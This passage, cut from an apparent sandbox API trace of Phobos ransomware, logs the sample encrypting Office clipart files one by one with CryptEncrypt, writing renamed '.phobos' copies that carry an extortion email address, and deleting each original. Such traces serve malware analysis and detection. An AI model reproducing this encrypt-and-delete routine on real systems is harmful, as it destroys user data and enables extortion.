hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1890) returned 1 [0166.723] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.723] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.723] CryptDestroyKey (hKey=0x1d1890) returned 1 [0166.723] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.723] CryptDestroyKey (hKey=0x1d1590) returned 1 [0166.723] CloseHandle (hObject=0x2cc) returned 1 [0166.723] CloseHandle (hObject=0x2c8) returned 1 [0166.723] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0166.732] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.733] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=8564) returned 1 [0166.733] CloseHandle (hObject=0x2c8) returned 1 [0166.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0166.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.733] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.734] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.734] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d15d0) returned 1 [0166.734] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.734] ReadFile (in: hFile=0x2c8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x2174, lpOverlapped=0x0) returned 1 [0166.773] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2180, dwBufLen=0x2180 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2180) returned 1 [0166.773] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x2180, lpOverlapped=0x0) returned 1 [0166.774] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1890) returned 1 [0166.774] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.774] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.774] CryptDestroyKey (hKey=0x1d1890) returned 1 [0166.774] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.774] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0166.774] CloseHandle (hObject=0x2c8) returned 1 [0166.774] CloseHandle (hObject=0x2cc) returned 1 [0166.774] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0166.776] SetEvent (hEvent=0x298) returned 1 [0166.776] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.777] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=900) returned 1 [0166.777] CloseHandle (hObject=0x2cc) returned 1 [0166.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0166.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.778] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.778] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.778] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b90) returned 1 [0166.779] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.779] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x384, lpOverlapped=0x0) returned 1 [0166.800] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x390, dwBufLen=0x390 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x390) returned 1 [0166.800] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x390, lpOverlapped=0x0) returned 1 [0166.802] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0166.802] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.802] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.802] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.802] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.803] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0166.803] CloseHandle (hObject=0x2cc) returned 1 [0166.803] CloseHandle (hObject=0x2c8) returned 1 [0166.803] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0166.805] SetEvent (hEvent=0x298) returned 1 [0166.805] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.806] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2324) returned 1 [0166.806] CloseHandle (hObject=0x2c8) returned 1 [0166.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0166.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.807] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.807] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.808] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a50) returned 1 [0166.808] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.808] ReadFile (in: hFile=0x2c8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x914, lpOverlapped=0x0) returned 1 [0166.895] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x920, dwBufLen=0x920 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x920) returned 1 [0166.895] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x920, lpOverlapped=0x0) returned 1 [0166.896] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1450) returned 1 [0166.896] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.896] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.896] CryptDestroyKey (hKey=0x1d1450) returned 1 [0166.896] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.896] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0166.896] CloseHandle (hObject=0x2c8) returned 1 [0166.896] CloseHandle (hObject=0x2cc) returned 1 [0166.897] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0166.898] SetEvent (hEvent=0x298) returned 1 [0166.899] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.900] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=580) returned 1 [0166.900] CloseHandle (hObject=0x2cc) returned 1 [0166.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0166.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.900] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.901] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.901] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1b10) returned 1 [0166.901] CryptSetKeyParam (hKey=0x1d1b10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.901] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x244, lpOverlapped=0x0) returned 1 [0166.903] CryptEncrypt (in: hKey=0x1d1b10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x250, dwBufLen=0x250 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x250) returned 1 [0166.903] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x250, lpOverlapped=0x0) returned 1 [0167.392] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b90) returned 1 [0167.392] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0167.392] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0167.392] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0167.392] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0167.393] CryptDestroyKey (hKey=0x1d1b10) returned 1 [0167.393] CloseHandle (hObject=0x2cc) returned 1 [0167.394] CloseHandle (hObject=0x2c8) returned 1 [0167.945] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0167.955] SetEvent (hEvent=0x298) returned 1 [0167.955] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0167.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0167.956] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3252) returned 1 [0167.956] CloseHandle (hObject=0x2d8) returned 1 [0167.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0167.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0167.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0167.957] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0167.957] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0167.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0167.958] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1550) returned 1 [0167.958] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0167.958] ReadFile (in: hFile=0x2d8, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xcb4, lpOverlapped=0x0) returned 1 [0168.044] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xcc0) returned 1 [0168.044] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xcc0, lpOverlapped=0x0) returned 1 [0168.045] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1ad0) returned 1 [0168.045] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0168.045] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0168.045] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0168.045] WriteFile (in: hFile=0x2e8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0168.045] CryptDestroyKey (hKey=0x1d1550) returned 1 [0168.045] CloseHandle (hObject=0x2d8) returned 1 [0168.045] CloseHandle (hObject=0x2e8) returned 1 [0168.046] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0168.048] SetEvent (hEvent=0x298) returned 1 [0168.048] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0168.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0168.048] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2700) returned 1 [0168.048] CloseHandle (hObject=0x2e8) returned 1 [0168.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0168.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 